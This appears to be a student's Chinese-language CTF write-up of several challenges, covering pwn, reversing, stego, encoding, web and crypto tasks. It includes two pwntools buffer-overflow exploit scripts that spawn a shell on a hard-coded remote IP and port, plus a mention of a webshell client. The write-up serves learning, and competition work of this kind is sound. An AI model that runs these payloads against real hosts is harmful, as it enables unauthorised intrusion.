真·签到题 :
拿到这道题,丢到虚拟机中去,file查看是个32位的,然后checksec查看,
发现堆栈不可执行,然后用ida查看,反编译一下,然后就看见主函数,发现了主函数的
system(bin/sh);
然后就知道,连上就有shellcode,然后就是ls之后,cat flag就好了。
签到~:
拿到这道题,先去分析发现了shellcode,
接着又发现了read函数,读取了256个字符串,猜测这里就可能存在溢出漏洞:
用虚拟机gdb调试一下,知道了读入字符串大小:
于是这里就可以写脚本了:
from pwn import *
p=remote('101.132.100.243',10000)
payload ='a'*(44)+ p32(0x08048520)
p.sendline(payload)
p.interactive()
这道题,做的发现了system函数,和 bin/sh ,但是两者不在一起,
于是这里就要利用上次学到的,栈迁移,也就是前面步骤一样,在最后的溢出的时候,让其溢出返回到system函数的地址,再加上个函数的返回地址(可以是随便的,因为这里以后就不用该地址),再加上binsh的地址就行了。这里节约时间:
from pwn import *
p= remote("101.132.100.243",10001)
payload= "a"*112+p32(0x08048460)+p32(0x12345)+p32(0x08048720)
p.sendline(payload)
p.interactive()
这道题丢到ida中,检查一下函数,然后就发现了加密的操作,也就是先对输入的字符串对半依次换位,再ascii码向移动一位,再去比对字符串。
所以解密就是相反的,
#include
int main(){
int i,k;
char s[]="~oj`ohjt`vok{|hbmg";
for(i=0;s[i]!=0;i++){
s[i]-=1;
printf("%c",s[i]);
}
return 0;
}
得到:}ni_ngis_unjz{galf
然后自己在对半对位变换一下:
得到flag
这道题挺自闭的,我一开始都快做出来了的,但是哇哇哇,思路全对,好像是在栈中找到,据说是相反的,
找到之后去base64解码就好了
这个就是直接丢到stego中,一阵一阵的分析,就可以得到flag
这道题是更自闭的,都是一样的操作,哇呜呜呜呜呜
,先去区块链访问地址,得到一串16进制的数据解码之后,得到另一个地址,有是一串16进制加密,再base64,在url,得到flag
flag%7Bso828_jiandan_kkkjau_uyanj8%7D 这是base64解密的
这道题就是将密文分为6组,按照215634的顺序解出flag
就是先16进制,在base64得到flag
先get传入1e
burp,在菜刀
这个就用burp,在修改ip。ok
右键源码
密码的rsa啥的更自闭了,软件都是对的,哇哇难受
密码题的凯撒(4)–>栅栏(2)–>摩斯=密文
就是先凯撒,再栅栏,再摩斯密码,(我做的时候刚好反了,自闭了)
yafu分解
下载个yafu,把n分解了,再运行脚本,就ok